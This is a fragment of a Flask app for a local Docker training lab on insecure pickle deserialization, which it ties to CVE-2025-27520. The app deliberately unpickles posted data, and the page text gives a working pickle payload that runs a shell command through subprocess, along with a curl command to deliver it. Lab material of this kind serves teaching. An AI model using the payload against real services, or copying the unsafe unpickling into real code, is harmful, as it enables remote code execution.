# app.py — Day09: nicer landing page + interactive exploit UI (local-only educational lab) from flask import Flask, request, jsonify, render_template_string import base64, pickle, html app = Flask(__name__) BASE_HTML = """
Local Docker lab demonstrating insecure Python deserialization (pickle → RCE). Educational only.
This lab intentionally unpickles base64-encoded payloads posted to /predict. Insecure deserialization may allow arbitrary code execution (the root cause class of CVE-2025-27520).
docker build -t day09-bentoml-lab . docker run --rm -d -p 8080:8080 --name day09 day09-bentoml-lab open http://localhost:8080
Generate a base64 pickle that runs cat /opt/flag.txt, then POST it to /predict:
python - <<'PY'
import pickle, base64
class R:
def __reduce__(self):
import subprocess
return (subprocess.check_output, (["cat","/opt/flag.txt"],))
print(base64.b64encode(pickle.dumps(R())).decode())
PY
PAYLOAD=$(python gen.sh) # or use the printed value
curl -X POST http://localhost:8080/predict -H "Content-Type: application/json" -d '{"data": ""}' | jq .
This page also provides an interactive form below to POST a payload from your browser (useful when testing locally).